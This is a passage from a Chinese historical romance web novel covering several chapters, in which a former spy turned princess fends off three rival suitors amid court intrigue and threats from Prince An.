带给他的无与伦比的绝美体验吗？ 男人啊，就是这样肤浅和贱。 他现在凑上来，无非是看她生得美貌，身段又好。 如若她还跟以前一样，又矮又壮，又黑又土，他能多看她一眼就算她输！ 他该不会是忘了，他当初是如何为了谢婉婉，而联合向砚辞一起，欺骗她、羞辱她，害得她去军营做营妓的事情了吧？ 好吧，如若说那事太久远，但是，一年多以前，他为了安谢婉婉的心，将她骗到侯府，让他家豢养的死士杀她灭口的事，他难道也选择性地遗忘了？ 关失越勾了勾嘴角，道：“想我骗了你的钱，骗了你的身子，所以，你打算报复我吗？” 轰地一声，沈淮瑾只觉着自己的身体，整个烧了起来。 她她她她…… 怎么能在大街上说这些？！！ “不，不是的！”沈淮瑾将手里提着的东西放到身前，心脏跳得极快，声音有些发颤，“我是为了最后一个条件，所以才……我这个人，不喜欢欠别人的。” “最后一个条件？”关失越做思考状，想了一会儿，道，“当时说好，是一年之内。现在时间已经过了。所以，恭喜你，你自由了。” “那不算！”沈淮瑾急得额头上布满了汗珠，“那是因为，你为大夏做事去了这才耽搁了一年。这一年的时间，不算！” 关失越看了过来。 沈淮瑾只觉身子更热了，但这一次，他的目光没有再闪躲，而是专注又热烈地看着她。 好似在说，我不要自由，请你尽情地奴役我、蹂躏我、吩咐我吧！ 关失越笑了：“给你自由你还不要！我还没见过主动将自己脖子伸进圈套里的呢！” 沈淮瑾：“对，我就是想进你的圈套。” 那刻骨铭心的感觉，他一辈子也不会忘。 每当夜深人静，每当午夜梦回，他孤寂难耐，也曾找了通房丫鬟，可是，她们跟她不一样。 不是那种感觉。 不是那种味道。 现在光是看到她，那种感觉便来了。 他想要抓住她，想要她跟以前一样，设下天罗地网，让他不得不钻她的圈套。 呵呵，人啊！ 总是觉得普通的正常的生活没意思，总是想要追求不一样的刺激。 他们总是觉得，与众不同的才刻骨铭心。 第159章 他们只是师徒关系吗？ 关失越抬脚往宅子里走去，并没有招呼向砚辞一起。 然而，向砚辞似乎是没有觉察到她的疏离，自顾自地跟了上去。 向砚辞一直跟着关失越进了陆宅。 来者是客。 但显然，关失越没有将他当客人一般对待。 她将他随意地丢给下人，自己则是没事人一般，回屋子里洗澡泡澡。 别说，逛了一天街回到家泡澡，那滋味别提多惬意了。 她不知道的是，她这里岁月静好，人间值得，而她家花厅里，则是剑拔弩张。 花厅内，向砚辞坐在客位喝茶，喝着喝着，便看到了一个不速之客。 楚翊尘突兀地闯进来，浑身上下充满了戒备，眼神犀利地看着他：“你怎么在这里？” 就好似他是这里的主人，向砚辞是个不请自来的闯入者一般。 他主人般的态度让向砚辞不喜，不过，想到楚翊尘的本事和身份，向砚辞站了起来，朝着楚翊尘行了一礼：“师父。” 什么？ 师父？！！ 他什么时候成了他的…… 啊呸！ 不要脸！！！ 贱人！！！ 楚翊尘冷笑一声：“向大人刚刚叫我什么？” 向砚辞脸红了一下，身子不自觉扭了一下，有些害羞地道：“师父。” 这一次，楚翊尘听得更清楚了。 他果然叫的是师父！ 呸！ 他怎么敢？！！ 楚翊尘脸冷了下来，周身仿佛结了一层寒冰：“我不记得什么时候收了你这种肩不能挑手不能提的废物做徒弟了。我这人收徒一向是宁缺毋滥。” 向砚辞被羞辱到了。 但他脸皮够厚，他只是尴尬地笑了笑：“你是二丫的师父。二丫的师父便是我的师父。我和二丫……我们的事师父或许不清楚，但我们的婚事当初可是在赤霞府官府备过案的。” “什么？婚事？”楚翊尘没有想到向砚辞会无耻到如此地步，“你说的是你当初为了帮谢婉婉，而欺骗二丫做你的妾，等骗出她后，你直接将她和谢婉婉对调，送她去军营做营妓这事吗？” 向砚辞面色变了变，随即讪笑道：“那已经是很久以前的事了。事情有些误会……” “误会？”楚翊尘不容分说打断向砚辞的狡辩，“什么误会？难道说你没有将二丫和谢婉婉的身份对调？还是说，你当初没有将二丫骗到军营做营妓？嗯？” 向砚辞面色一白：“……是我错了，我当初不知怎地，鬼迷了心窍……” “既然知晓自己错了，你还来这里做什么？”楚翊尘冷笑一声，“难不成你觉着，二丫会原谅你？” 向砚辞：我确实是这么想的！二丫以前有多喜欢我，我是最清楚的！！而且，二丫分明有要原谅我的意思了。你们肯定不知道，她在我身上刺了字！！！ 楚翊尘：“你做的那些事，二丫将你剥皮抽筋都是便宜了你！你竟还敢往这里跑，真是可笑！！！” 向砚辞：是吗？ 楚翊尘继续道：“你怕是不知晓这些年她是如何一次次九死一生过来的吧？这些年陪在她身边的，带着她跨过一道又一道坎，最后能走到今日的人，是我！！只有我！！！” 现在她日子好了，变美了，他就想来摘桃子了，做梦！！！ 她这颗幼苗，是他一日日除草、浇水、施肥、固定，她这才茁壮成长，长成如今的参天大树的！ 是他！！ 所有想要在此刻前来抢胜利果实的人，都是罪大恶极！ “师父大恩，我和二丫一辈子都会铭记的。请师父受我一拜。”向砚辞说着，就朝楚翊尘拜了下去。 楚翊尘再忍不了了，一脚朝向砚辞踹了过去。 向砚辞不察，被踹翻在地，落下的时候腰重重地磕在了地上，疼得他出了一脸的汗。 他生得文弱俊俏，此时这般，有一种世家病弱公子的破碎感。 楚翊尘见状，又气又怕。 他觉得，向砚辞肯定是想以此来博得关二丫的怜悯。 同时，他担心向砚辞这模样会被关二丫看到。 真是怕什么来什么。 就在这时，关二丫出来了！ 她似乎是才沐浴过，她的头发还是湿的，衣服上有丝丝水汽，她露出的肌肤白得耀眼，上面依稀还有水珠。 她站在那里，身段窈窕到让人发狂，身上那隐秘的馨香隔着老远飘了过来，让他全身血液不受控制地沸腾奔腾起来。 楚翊尘下意识地一个侧步，挡住了向砚辞。 挡住了二丫看向死绿茶的目光。 “师父，你这是在做什么？怎么还打人？”关失越看了一眼被打架牵连而乱七八糟的桌子凳子，微微蹙眉，“要打，也应该去外面打嘛！若是将我家的家具、花瓶打碎了怎么办？那不得花银子买新的？” 楚翊尘走上前去，用自己高大的身躯彻底遮挡住关失越看向砚辞的目光：“我不对，我赔钱，好了吧？” 说话间，他从怀里摸出了一叠银票递了过去。 “这些够不够？” 关失越接过银票，翻看了几眼，嘴角上扬，眼里含笑。 楚翊尘见她这模样，便知道她喜欢得很，顿时，松了一口气。 他再次靠近了些，高大的身躯将关失越看向向砚辞的视线堵得死死的，放柔了声音：“你那去花，等没有了，我再给你。” 先是被踹，然后被晾在地上半天的向砚辞眸子猛地眯了眯。 他怎么感觉，这楚翊尘好似对自己的徒弟有那种龌龊的心思？ 他们可是师徒啊！！！ 难道是他感觉错了？ 可是…… “你怎么把向砚辞带到家里来了？他以前对你做过什么，你难道都忘了？”楚翊尘道。 关失越还在看银票，边看边道：“我没带他来，是他自己非要进来的。” 这话一出，楚翊尘眼睛立马亮了，随即，他侧头，恶狠狠地瞪了向砚辞一眼。 向砚辞莫名地从那眼神里读懂了挑衅、炫耀、得意等其他神色。 这一瞬，刚刚那感觉又回来了。 楚翊尘和关二丫…… 他们俩真的只是师徒关系吗？ 他有点慌。 “二丫！嘶，二丫，我好像受伤了。你能扶我起来吗？”向砚辞大声道。 第160章 我们可以生个孩子 他认为，他这般楚楚可怜地央求关二丫，她必定会心疼的。 毕竟，关二丫有多在乎他，他太清楚了！ 她总是含羞带怯地看着他，总是在躲在角落里和人羞羞答答地议论他。 他看她的时候，她会脸红。 他不过跟她说上两句话，她便会高兴得不得了。 他提出要纳她为妾，她家里人喜不自胜，如同中了大奖一样，她更是欢喜得好几日都睡不着觉。 她是那般心仪他，怎会容许他被人伤害呢？ 她定是…… “受伤了？”他听到了关二丫的声音。 果然，他就知晓，她是关心他的！ 然而，下一刻，他便听到那女人如是说道：“离死还有多久？” 向砚辞：“……” 关失越：“另外，没人请你进来。向大人若是觉得本郡主招待不周，可以自行离开。没人拦你。” 向砚辞内心受到了一万点的暴击。 她怎么会这样对他？ 而且，还是当着一个讨厌的外人的面！！ “二丫，你是不是还在生气？”向砚辞想明白了一些什么，立马忏悔，“我知晓，以前是我不好，我做下了错事，你恨我也是应该的……” “知晓我恨你，你还敢上门？”关失越就笑了，“你是不是觉得，我不会对你怎么样？” 向砚辞脑海里立马浮现出了当年那三日四夜的折磨，身子颤了颤。 然而，每当夜深人静之时，每当午夜梦回之际，他的手指会不自觉地抚摸过身上的那几个印字。 那样的旖旎，那样的感觉，刺激新奇，刻骨铭心。 仿佛无数朵烟花在黑夜里冲入云霄，绚烂夺目。 他全身的肌肉都在颤抖。 他喉结滚动了一下，慌忙低下头：“对不起，我欠你的，我会补偿的。” 关失越就笑了。 他还知道他做错了啊，可真是稀奇！ 她若是还是还长成之前那样，他怕是连她这个人是谁都想不起来了吧？ 男人啊，呵呵！ “拿你的命补偿，你愿意吗？”关失越道。 向砚辞：“……” 关失越唇边的嘲讽越发深了些，她侧过了头，没看向砚辞：“另外，我叫陆婉婉。来人，送客。” 向砚辞：“……” 目睹了这一切的楚翊尘心情极好，他给了向砚辞一个蔑视+得意的胜利者眼神，随即侧头看向关失越，眼神宠溺温柔。 向砚辞恰好抬头，瞥到了这一幕，眸子顿时冷了下来，垂在身侧的手不自觉地捏成了拳头。 不要脸的老男人！！！ 贱人！！ 道貌岸然的禽、兽！！！ 竟对自己的徒弟有那种龌龊的想法！ 贱人，给我等着！！！ ========== “昨夜是我不好，我不该生气，半夜离开。以后不会了。” 向砚辞离开后，楚翊尘看向关失越道。 关失越根本就没有将这当回事，她面上神色未变，笑道：“随你。” 便朝着自己房间走去。 楚翊尘紧随其后，道：“二丫，我真的很心悦你，我娶你为妻，好不好？” 关失越脚步一顿，回过头看了他一眼，神色古怪：“师父，你是不是忘了一件事？” 楚翊尘：“什么事？” 关失越：“你是我师父，我是你徒弟。” 楚翊尘那清冷孤绝的脸，顿时变得惨白。 是啊，他们是师徒啊！ 而且，全京都的人都知晓！！！ 他当初为什么就那么想不开，要将她以徒弟的身份带到京都？ 关失越：“师父，你徒弟我虽然很美，但这世上的美人多如过江之鲫，比我美的比比皆是，师父大可以将目光放长远一点，多看看别人。” 别以为他和千里及XXX女细作，XX女细作的事她不知晓。 便是他曾经和江蝶舞的事，她都是知晓的。 他们做细作的，过得是刀口舔血的生活，说不得哪日就死了，在男女之事上都是放得极开的。 尤其是男人。 可以说，千里及的所有女细作，都是男细作的工具。 他们看上了谁，谁就必须无条件地满足他们的需求。 楚翊尘是教习，这种事情更是不用说。 “二丫，我承认，我以前年轻，确实很……不成熟，做了一些不太好的事。”楚翊尘一把攥住了关失越的手腕，攥得很紧，很用力，“可是自从和你在一处之后，我便没有……” “真的没有吗？”两人离得很近，四目相对，关失越的目光犀利地望进楚翊尘的眼睛里，仿佛透过它，看到了他的内心，“师父，别骗你自己了。” 楚翊尘只觉胸口刺痛，眼眶发涩，他的手没有松开关失越的手腕，反而攥得更紧了：“就两三次而已。以后不会了。” 关二丫笑了笑：“我又没怪你。师父不必如此的。” 这种事，你情我愿，到最后，双方都能得到满足，不存在谁亏了的情况。 当然，如若那男的不行，大不了下次不找他就是了！ 这世间的男人那么多，好看的，干净的那么多，何必找那些不干不净的？ 要是得了病，就得不偿失了。 这个时代的妇科病，可不好治！ 而且，楚翊尘好似很快就要过二十五岁生日了吧？ 她脸上虽在笑，但是眼睛里却是疏离之色。 楚翊尘将这一切看在眼里，眼眶顿时就红了，他嘴唇发颤，道：“二丫，我想要和你长长久久的。你放心，以后我再不找别人。我们俩一辈子，好不好？我们可以生个孩子……” “师父，咱们做细作的，哪里能有孩子？那不是让我们有了软肋吗？”关失越眼神清明，“而且，师父你忘了吗？ 我自进入千里及那一日起，便日日都要喂下了绝子汤，直到彻底没了生育的机会。 当时，师父还在边上监督我喝汤来着。” 楚翊尘身子震了震。 关失越微笑着将他的手指一根根掰开，转身，走进了屋子。 楚翊尘的手僵在半空，一滴泪从眼眶里滚了出来。 视线模糊中，眼前依稀闪过几个片段。 那一碗碗的汤药。 等着领汤药的女子们那一张张或淡漠或绝望或隐忍的脸。 教习们那习以为常的眼神。 “快喝，这些都是为你们着想的！” “做了细作，就没回头路了。” “多一个亲人，你们就多一个软肋。” “恭喜你，你是孤儿，最是适合做细作了，可千万不能生孩子啊……” 第161章 给你检查 因为玻璃制品的出现，店铺里的收入很是可观。 关失越看完了账本，对好了账目，将谢七娘的那一份提成给了她。 同时，关失越又另外拿出了二十两银子来，奖励谢七娘。 员工干得好，必须要奖励。 因为生意实在是太好了，胡娘子在跟着谢七娘做了一段时间后，被派到了分店去做管事，她性子爽利，做事干脆，让营业额看起来很是好看。 关失越没有亏待她，奖励了她十两银子，同时，拍了拍胡娘子的肩膀：“若是这个月、下个月、下下个月收入都这么好的话，便给你店铺一成的提成。” 胡娘子没想到京都的钱这般好赚，更没想到关失越这般大方，激动不已地跪了下去：“谢谢，谢谢郡主！！” 关失越道：“不过，得签至少十年的契约。十年之内，你不得离开，更不能泄露店铺的机密。” 胡娘子巴不得能留下，一来是跟着关失越能赚大钱，二来，是舍不得阿树。 虽然阿树不是自己亲生的，可这一年多来都是她在奶娃、照顾娃，她在心里早已将阿树当成了自己的亲生骨肉。 “能不能签二十年？或是一辈子？”胡娘子道。 关失越：“……如若你愿意，契约到期后，可以续约。” 胡娘子笑道：“好！郡主，只要你愿意用妾，妾愿意一辈子为郡主做事。” 她活了二十几年了，从来没过过如今这样日日有饭吃，天天有新衣服穿的好日子，更不用担心被债主催债，膝下还有个可爱的孩子，这样的日子，她只希望永远过下去。 这辈子能遇到郡主，是她几辈子修来的福气。 两人又说了会儿话，关失越便要离开了，这时，门口进来一个人，这人长身玉立，广袖飘飘，芝兰玉树，正是沈淮瑾。 四目相对，沈淮瑾朝关失越颔了颔首，径直走了过来。 “没想到能在这里遇上，真巧。” 关失越：“……” 沈淮瑾往关失越身侧站了站，两人之间相隔不足一臂之距。 沈淮瑾微微倾身，嘴唇几乎贴在了关失越耳垂：“郡主，可否借一步说话？我有很重要的事想跟你说。” 男人身上有着浅淡的墨香味，同时，还隐隐有着一丝墨兰的味道，关失越嘴角不由勾了勾：“哦？是吗？我还以为世子过来店里，是要买东西的呢……” 沈淮瑾：“哦，是了，是要买东西的。一看到郡主，便险些忘了。” 说罢，沈淮瑾看向跟在自己身后的小厮：“将店里的东西都看看，若是好，便都买了。” 小厮嘴角一抽：世子你可真大方啊！你知不知道，这店里的东西价值几何？！还想全部买？到时将你卖了都不够！！ 胡娘子大喜，忙殷勤地给小厮推销店里的货物。 ========== 沈淮瑾和关失越一前一后来到了附近的一处茶楼。 两人要了间幽静的雅间。 沈淮瑾摆弄了一阵桌案上的茶盏，将一杯煮好的茶放到关失越跟前，又给自己倒了一杯，道：“以前的事，对不住。我以茶代酒，向郡主赔个不是。” 说罢，也不管关失越如何，他自己将茶一饮而尽。 然后，给自己满上了一杯。 又喝完了。 一连喝完三杯，沈淮瑾道：“我们之前说好了，我为你做三件事。我才做了两件，第三件事，还请郡主吩咐。沈某必当赴汤蹈火，万死不辞。” 关失越没有喝那茶，她看着面前芝兰玉树一般的男人，笑了笑：“一年的时间已然过了。按照约定，第三件事作废。” “可是在我这里，过不了。”沈淮瑾道，“我是心甘情愿想要为郡主做些什么。” 关失越不置可否：“你刚刚说，有重要的事要跟我说。什么事？” 沈淮瑾：“我听到消息，安王要对你不利，你小心些。” 关失越：“就这事？ 这个我早就料到了。 毕竟，他一年前没有整死我，肯定不甘心。 如今我不但回来了，而且还被封了郡主，想来，他和他的妻妾，心里肯定不舒服。 哦，对了，我险些忘了。 他的侍妾谢婉婉，好似是世子曾经的未婚妻。” 沈淮瑾：“……” 以前的事，就不能翻篇吗？ 胸口好似被什么东西扎了一下一般。 突然，沈淮瑾站起，以迅雷不及掩耳之势，跪在了关失越跟前，他的手臂，精准无比地抱住了关失越的腿。 “你做什么？” 关失越去推他，沈淮瑾却将脸埋进了关失越腿上：“以前是我不好，你罚我吧！不管怎么罚，我都认！！” 只求你别不理我。 关失越揪住了他的头发，将他推开。 沈淮瑾再次缠了上来，手臂牢牢地缠住了关失越的腰。 那惊人的纤细，让他瞳孔兴奋异常。 他的脸贴在了她的小腹上，嗅着那想念了三百多日的馨香，他身子都激动到颤抖、痉挛。 “郡主，关二丫，陆婉婉，我对不住你，所以，我愿意用我的一辈子来赎罪。你要了我吧！我……我身子很干净的，真的！不信，你检查。” 关失越去推他。 沈淮瑾眼疾手快，一把抓住了她的手，放到自己的脸上、唇瓣上、下巴上，再缓缓下移。 “你不是说我好看吗？我给你摸，全身上下都让你摸，好不好？” ======== 夜幕降临的时候，沈淮瑾春风得意地走在自家府邸里。 他长袖翩翩，一阵风吹来，衣袖随风飞扬，如同天上的仙人一般清冷绝尘。 突然，他膝窝被什么东西打了一下，膝盖一软，整个人向前摔倒。 他还没来得及爬起来，身上便多了一个黑衣蒙面人。 黑衣人武功极高，他按着他，拳脚雨点般密密麻麻砸下来，砸中他的背、他的肩、他的手膀子、他的脑袋、他的腿…… “你……唔……”他想喊救命，嘴里立马被黑衣塞了个什么臭烘烘的东西进来，一个硕大的拳头狠狠砸到了他的脸上。 一个，两个，三个，四个…… 痛得他眼冒金星。 他决定反击。 他运起身上真气，打算一鼓作气打退敌人，然而，那股子真气还没提起来，他便被黑衣人打得眼前一黑，晕了过去。 第162章 你也来了？ 黑衣人见沈淮瑾不动了，犹不解气，又狠狠踢了他好几脚，这才啐了一口，骂骂咧咧地离去。 他身形高大颀长，猿臂蜂腰，速度极快，一个眨眼的功夫，他就跃上墙头，身影消失在了夜幕里…… ========= 天快亮的时候，关失越感觉身边好似多了一个人。 她猛地睁开眼睛。 然后，就看到了面色冷肃、一身肃杀之气的楚翊尘。 关失越微微蹙眉：“师父，你这是怎么了？” 楚翊尘一身黑衣，浑身肌肉线条紧绷，好似下一刻他就要杀人一般。 然而，他抿了抿紧绷的唇，躺在了关失越身侧。 险些将关失越压着。 关失越赶紧往里面挪了挪，这才没被压着。 见她这般乖觉，楚翊尘面上的肃杀之气消失了大半，他翻了个身，侧身抱住了关失越，下巴抵在关失越颈项间轻嗅着。 还好，她应当是沐浴过了，身上没有别的野男人那乱七八糟的气息。 他手臂收紧了些，没有说话。 “师父？”关失越道。 楚翊尘还是没有说话。 关失越等了好一会儿也没听见动静，于是，闭上眼睛继续睡。 就在快睡着的时候，迷迷糊糊间，她好似听到一句“叫我阿尘”。 她没在意，换了个姿势睡觉。 这时，身侧的男人不知发了什么疯，突然翻身而起，重重地压了上来。 关失越下意识地去推他，手被男人抓住了。 男人将她的两只手都抓住，举到了她的头顶，用一只手按住。 关失越睁开了眼睛：“师父……” “我说了，不要叫我师父！！”楚翊尘另一只手掐住了关失越的肩膀，很是凶狠地扯开了她的衣襟。 顿时，青青紫紫的痕迹映入了楚翊尘的眼帘。 楚翊尘目眦欲裂，眼眶发红：“是沈淮瑾，对吧？” 关失越嘴角微勾：“这是我的私事。师父，你未免管得有点宽了些。” 楚翊尘咬了咬牙，喉结滚动，额头青筋尽绽：“关二丫，你到底有没有良心？我是怎么对你的，你难道不清楚吗？你摸着你的良心问问，你对得起我吗？” 关失越叹了一口气：“师父待我极好，尽心教我武功，我两次做任务都是师父在边上帮忙。 说起来，能完成任务，师父的作用才是最大的。 我都知晓的。 所以，我一有了银子，就迫不及待地拿来孝敬师父。 一旦师父想要，我眉头都不皱一下，总是尽量满足。 我做得还不够好吗？” “我不是这个意思！”楚翊尘道。 关失越：“那你是什么意思？” 楚翊尘：“你知道的。” 关失越沉默了一瞬，移开了目光：“师父，你不觉得你太过强人所难了吗？我是细作啊！我能给你，已经全部都给了。” 楚翊尘：“可是我要的不是这些。你知道的。” 我想要的，是你。 完完整整的你。 你明白吗？ 关失越嘴角勾起了一个讽刺的弧度：“做细作的，尤其是女细作，不该有爱，更不配有爱。这都是师父你说的。” 楚翊尘：“……” 关失越继续道：“我们这些做细作的，说不得哪日就死了。所以，能活一日是一日。在活着的时候，就尽量不要亏待了自己。免得死前遗憾。” 是的，那是他曾经说过的话。 那个时候的他，理智冷静。 如今的他…… 心口仿佛被针扎一般，楚翊尘松开了钳制住关失越双手的手。 “所以，你就去找别人？他们那些文人，肩不能挑手不能提的，他们有我好吗？” 想到沈淮瑾，楚翊尘手指一把掐住了关失越小巧的下巴，用力地吻了上去。 “他们有我有力气吗？” “有我强壮吗？” “我能给你的，他们能给得了吗？” “这世上，最喜欢你的人，是我！！” “看来，我还是让你太闲了，这才让你有精力去找别的野男人！” “你说，到底是我厉害，还是那小白脸厉害？” “二丫，我会保护你，把你当成我的眼珠子一般护着，你要一直和我在一起，好不好？” “二丫，我心悦你……” ========= 很快就到了乔迁新居的日子。 毕竟是入住郡主府，关失越早早发了请帖，邀请京都的朋友以及同僚们。 这一日，来的人很多。 镇国大将军府的人，摇光台的楚清漪、江蝶舞，以及江蝶舞在摇光台销魂司的几个同僚都来了。 谢七娘的儿时玩伴许应如、苏瑶华等人也来了。 顺民伯府、承恩侯府、卫国公府也都有人前来吃席。 今天是大日子，关失越隆重打扮了一番。 她穿了一件大红色的裙子，裙子颜色很正，收了腰身，显得她越发娉婷妖娆。 头上珠钗耀眼，却无法压下她的半分美貌。 她肌肤胜雪，黑发如墨，熠熠钗环锦上添花。 此刻的她站在那里，还真有几分郡主的尊贵模样。 不请自来的向砚辞远远地看着她，眼珠子半天也没有转到一下。 太美了。 太尊贵了。 如若不知晓她以前的样貌和身世，他还以为她生来便是高高在上的皇家贵女。 她的一颦一笑，她的举手投足，她的绝世身姿，让他痴迷。 他看着她，心口狂跳，呼吸凝滞，恨不能立马跪到她的脚下，乞求她垂幸。 他的脚不由自主地朝郡主府走去。 这时，前面一道熟悉的身影挡住了他的去路。 向砚辞看了过去，便见一瘸一拐的沈淮瑾比他还要痴迷，不顾浑身的疼痛，义无反顾地向着关失越走去。 向砚辞想到这两日听到的传言，心里不知怎地，酸得厉害，忌妒得要命。 他下意识地加快了脚步，走到了沈淮瑾前面。 沈淮瑾却好似没看到他一般，伸手一推，拨开了他，走到了他前面。 向砚辞：“……” 沈淮瑾后知后觉地回头看了一眼，看到了向砚辞，脸上的花痴之色这才淡了些，但，眉宇间的得意之色却是越发浓郁了。 “你也来了？你收到请帖了吗？”沈淮瑾下巴一抬，神色言语间说不出的倨傲和得意。 第163章 疯狗 向砚辞眸子眯了眯，打了个哈哈想糊弄过去，然而，沈淮瑾问出那话的目的并不是为了听他回答的，沈淮瑾上一刻才问出话，下一刻就接着道：“虽然我也没有收到，但是……” 沈淮瑾目光看向不远处那道倾国倾城的身影，面上一红，眉宇间颇有几分羞涩和自得之意。 “……以我和她的情谊，她定是十分欢喜……迎我的。” 她跟他的情谊？ 她跟他能有什么情谊？ 呵！ 当年那事，他沈淮瑾才是主谋吧！！ 凭什么沈淮瑾能得到二丫的原谅？而他向砚辞就不行？！！ 这不公平！ 他不服！！！ 想到传流言的那些人那垂涎三尺向往不已的模样，结合今日沈淮瑾这副谄媚下贱的模样，向砚辞只觉得怒不可遏，他巴不得一把推倒沈淮瑾，让他摔死！！ 那个暗中对沈淮瑾下手的大侠也真是废材，既然都下手了，干嘛不直接弄死了他？！！ 若是他，他就先划花了沈淮瑾的脸，再挑断了他的脚筋，看他还如何在二丫面前出卖色相！！ “我跟她的事，你不懂的。” 似乎是嫌炫耀得还不够，沈淮瑾目光深情地凝视着不远处的关失越，对向砚辞说道。 向砚辞垂在身侧的手握成了拳头。 “你不知晓，她真的是很好很好的小娘子！她善良、温柔、包容、美丽……这世上没有哪个小娘子能比得上她。当然，你不了解她，肯定还不知晓她的好……” 向砚辞的拳头握得更紧了。 “向大人，以前你那样对她，太不应该了！！！” 向砚辞冷笑一声，拳头自身侧挥了过去：“我那样做，还不是……” “不过只要你诚心认错，我相信她会原谅你的。要不要我帮你说情？” 向砚辞那挥到一半的拳头收住了，手指松开，改为了在沈淮瑾手臂上轻拍一下：“是吗？世子觉着，她会原谅我吗？” 沈淮瑾狐狸眼中飞快闪过了一丝寒芒，太快了，没有让人捕捉到。 随即，沈淮瑾眉间又恢复了那副春风得意之色：“我也不知晓。不过，反正她已然原谅我了。我们俩做的事差不多，想来，她也会原谅你……的吧？” 向砚辞，为了近她的身，我付出了多大的代价，花了多少心思，你知晓吗？ 就你这样的，还想复刻我的上位之路？ 做梦！！ 将你送上去平息她的怒火，想来她会对我更满意的。 你就乖乖等着做我的垫脚石吧！ 你是第一个我献给她的投名状。 ========= 沈淮瑾和向砚辞走到了大门口。 在外迎客的管事拦住了两人的去路，检查请柬。 沈淮瑾没有。 但是，沈淮瑾没有慌。 只见他从怀里摸出一样月牙形的玉佩递了过去。 管事拿起玉佩看了一阵，面露诧异之色，随即认认真真打量了一番沈淮瑾。 沈淮瑾立马挺直了脊背，含笑应对。 管事的目光再次将沈淮瑾上上下下打量了一遍，躬了躬身：“既然是郡主的好友，那便请进吧。” 好友？ 裙下臣吧？！！ 向砚辞垂在身侧的手不自觉地握成了拳头，面色如常，跟在沈淮瑾身侧，一起走了进去。 进到院里，这才发现，这座宅子很大很气派，不愧是圣上所赐。 想到自己以后会一直住在这座宅子里，向砚辞之前那郁闷的心灵又变得欢快了起来。 这宅子这棵古树看起来不错，可惜枝条太茂密了，刺客容易隐藏其内，到时他少不得要让人将枝条砍掉一些。 这水池里的锦鲤倒是不错，应当在里面再养些荷花莲花才好…… ========= 今日的宴席办得很隆重，宾客尽欢。 等到宴席散去，客人们都走光了，躲在暗处的向砚辞这才走了出来。 “你怎么还在这里？”关失越看着向砚辞，“我好似没有给你发请帖吧？你擅自进来的账我还没给你算，你倒好，还主动凑到我跟前来了！” 向砚辞立马上前，目光狂热地落在关失越凹凸有致的身段上，随即耳根子一热，快速移开目光。 过了一会儿，他目光又不由自主移了回来，重新落到了关失越身上。 她实在是太美太勾人了！！ 女大十八变，三年多的时间，她变成了这世上最美丽最尊贵最妖娆的小娘子。 “我……”他觉得喉咙发紧，口干舌燥，他吞咽了一口口水，吞吞吐吐地道，“那个……二丫，你不是说…… 我是……你的那啥吗？ 狗是这世上最忠心护主的，主人在哪里，狗便会在哪里。 我……我可以给你看家护院，给你……” 关失越笑了笑，面上露出一丝古怪之色，向砚辞并没有意识到，他只看到，眼前的小娘子笑了。 他很高兴。 他终于离她更近了。 他心脏扑通扑通跳得很快。 “是吗？可我喜欢的是那种忠心护主的，乖一点的狗，可不是那种会反咬自己主人的疯狗……” “我会乖！我很很乖很乖的，绝不会反咬你的！”向砚辞忙表忠心。 关失越一把掐住了他的下巴：“是吗？以前你做的那些事……” “我错了！对不起，我错了！！”向砚辞跪了下来，手死死攥着关失越火红的裙子，“我今日前来，其实是为了跟你说事情的。安王派了很多人盯你，他想要让人刺杀你。” 关失越：“就这些？” 向砚辞忙道：“还有别的！除了安王以外，谢婉婉她……她也要对付你。” 关失越俯视着向砚辞，这个角度是死亡角度，可是她的下巴上没有一丝赘肉，这个角度的她仍然美得惊心动魄。 向砚辞看得呆了好一瞬。 “我知晓她所有的计划。”他说。 关失越脸上终于有了一丝兴趣：“哦？什么计划？” 向砚辞将谢婉婉的计划复述了一遍。 关失越听完，面上毫无波澜：“是吗？我怎么知晓你说的是真的呢？毕竟，你为了她，可是将我往火坑里推呢。你说是吗？” “……”向砚辞只觉着心口仿佛被一击重锤击中，闷闷地疼，他面色发白，“我会用行动向你证明的。” 第164章 动手（1） 证明？ 一个朝三暮四、反复无常、见一个爱一个的男人的证明，他觉着她会信？ 关失越笑了笑，不置可否：“将她的计划告诉我，你不就得罪她了吗？你那么喜欢她，你舍得？” 向砚辞急了，忙道：“我没有喜欢她，我喜欢的是你！！ 她……原本该去军营的人，该是她！！ 你才是最可怜最无辜的那个。 是我的错。 你想如何惩罚我，我都认。 你想让我做什么，我都愿意。” 关失越挑了挑眉：“哦？是吗？如若我说，让你扳倒安王，杀了安王呢？” 向砚辞道：“我愿意！” 关失越不置可否，只静静地盯着他。 向砚辞如此近距离地直面她的美貌，整个人都酥了，电光石火间，他想到什么，道：“对了，谢婉婉半年前曾问起过你的家人……” 关失越眸子几不可查地眯了眯：“你告诉她了？都跟她说了些什么？” 向砚辞：“我……我不知晓你家人在哪儿，他们好似搬家了，搬去了哪里，没有人知晓。 但是，凭着安王的实力，如若他非要查，要查到他们的住处是迟早的事。 说不得现在就有了线索了……” 关失越呼吸一窒。 很快，她神色如常，漫不经心地道：“你说这些做什么？我早就被那一家子出族了。他们是死是活，我一点也没有兴趣知晓。” 原主已经够可怜了，早早地死了。 若是她的家人再因为她而遭遇什么，那她一辈子都不会安心的。 普天之下莫非王土，率土之滨莫非王臣，她知晓，不管那一家子去到哪里，只要还生活在大夏的土地上，就会有被找到的那一天。 所以，这些年，她从不敢提起那一家人。 甚至连打探都没让人打探过。 她想要让人知晓，她和那一家子已经断绝关系了。 可是，血缘关系真的断得了吗？ 天子一怒，伏尸百万。 她若真做了什么，别说那一家子，便是那一家子的九族都要遭殃！ 这就是这个时代的可怕之处。 这些人只要没被逼到绝境，只要不是孤儿，基本上是不敢造反的。 因为，一个人代表的不仅仅只是他一个人，他还代表着他的九族，甚至是十族。 代价太大了。 谢婉婉突然问起关家人，这里面没有猫腻，她不信。 她心里火急火燎，面上还只能做出云淡风轻的模样。 “我知晓。我知晓！”向砚辞趁机抱住了关失越的腿，“他们是你的家人，也是我的家人。我是自己想跟你说。我们还和以前一样，当这几年什么都没有发生，好不好？” 关失越一把抓住向砚辞的手，冷笑道：“你说什么？让我还做你的妾？” “不是，不是！！”向砚辞忙道，“是我嫁给你！只要能跟你在一起，你让我做什么都可以。” 想了想，向砚辞抿了抿有些发干的唇，眼巴巴地望着关失越：“主……主人。” 关失越那双漂亮得不可思议的眸子轻佻地眯了眯，她放开向砚辞的手，转而抬起了他的下巴，仔细端详了一番男人的脸，又看了看男人的头发丝，眸光流转：“今早可沐浴过了？” 向砚辞眼睛亮了，忙点头：“嗯。” 关失越：“头发呢？也洗过了？” 向砚辞被她这般看着，脸颊绯红：“都洗了的。” 